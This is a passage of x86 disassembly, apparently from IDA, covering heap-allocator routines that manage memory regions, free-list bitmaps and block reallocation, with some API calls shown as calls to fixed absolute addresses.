pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
mov eax, dword_4DC8F8
mov ecx, dword_4DC8E8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DC8FC
push edi
push dword_4DC904
nop
call near ptr 2840000h
cmp eax, edi
jz short loc_41E567
add dword_4DC8E8, 10h
mov dword_4DC8FC, eax
mov eax, dword_4DC8F8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DC8FC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DC904
lea esi, [ecx+eax*4]
nop
call near ptr 27A0000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
call near ptr 28A07C4h
nop
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DC904
nop
call near ptr 2790000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DC8F8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 28A07C4h
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A2E0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A2D0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DC904
nop
call near ptr 27A0000h
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A2D0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A2D0, 0
jnz short loc_41E9F6
mov off_43A2D0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A2D4, 0
jnz short loc_41EA1B
mov off_43A2D4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A2D4
mov [esi+4], eax
mov off_43A2D4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
nop
call near ptr 28A0650h
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A2D0
jz short loc_41EAB3
push esi
push 0
push dword_4DC904
call near ptr 2790000h
nop
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 28A0650h
cmp off_43C2F0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C2F0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A2D0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DC904
nop
call near ptr 2790000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A2E0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A2D4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 28A0650h
nop
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB2F4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A2D4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A2D0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB2F4
cmp dword_4DB2F4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C2F0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C2F0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C2F0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A2D0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 28A07C4h
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C2F0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C2F0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
